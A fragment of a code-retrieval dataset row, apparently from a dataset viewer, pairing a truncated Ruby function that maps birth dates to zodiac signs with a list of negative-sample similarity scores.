"query",
"document",
"negatives"
]
]
}
} | [
"def zodiac(month,day)\n time = [\n 3,21,4,19, # Aries\n 4,20,5,20, # Taurus\n 5,21,6,20, # Gemini\n 6,21,7,20, # Cancer\n 7,23,8,22, # Leo\n 8,23,9,22, # Virgo \n 9,23,10,22, # Libra\n 10,23,11,21, # Scorpio\n 11,22,12,21, # Sagittarius\n 12,22,1,19, # Caprico... | [
"0.72233164",
"0.7156146",
"0.6829725",
"0.6157799",
"0.5835667",
"0.57300407",
"0.5713614",
"0.56086254",
"0.5593975",
"0.5561326",
"0.5548885",
"0.5533291",
"0.5476022",
"0.54653484",
"0.5461764",
"0.5455818",
"0.5407697",
"0.5390254",
"0.5387932",
"0.5385911",
"0.53728586"... | 0.68743104 | 2 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.